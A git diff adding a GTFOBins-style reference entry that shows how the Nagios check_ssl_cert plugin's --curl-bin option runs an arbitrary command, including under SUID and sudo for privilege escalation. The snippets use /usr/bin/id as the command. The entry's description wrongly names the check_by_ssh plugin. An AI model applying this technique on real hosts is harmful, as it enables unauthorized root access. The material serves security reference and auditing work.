diff --git a/_gtfobins/check_ssl_cert.md b/_gtfobins/check_ssl_cert.md new file mode 100644 index 0000000..6a2b4a3 --- /dev/null +++ b/_gtfobins/check_ssl_cert.md @@ -0,0 +1,34 @@ +--- +description: | + This is the `check_by_ssh` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`. +functions: + command: + - code: | + COMMAND='/usr/bin/id' + OUTPUT="output_file" + TF=$(mktemp) + echo "$COMMAND | tee \"$OUTPUT\"" > $TF + chmod +x $TF + check_ssl_cert --curl-bin "$TF" -H example.com # example.com must provide TLS + cat $OUTPUT + suid: + - code: | + COMMAND='/usr/bin/id' + OUTPUT="output_file" + umask 022 + TF=$(mktemp) + echo "$COMMAND | tee \"$OUTPUT\"" > $TF + chmod +x $TF + ./check_ssl_cert --curl-bin "$TF" -H example.com # example.com must provide TLS + cat $OUTPUT + sudo: + - code: | + COMMAND='/usr/bin/id' + OUTPUT="output_file" + umask 022 + TF=$(mktemp) + echo "$COMMAND | tee \"$OUTPUT\"" > $TF + chmod +x $TF + sudo check_ssl_cert --curl-bin "$TF" -H example.com # example.com must provide TLS + cat $OUTPUT +---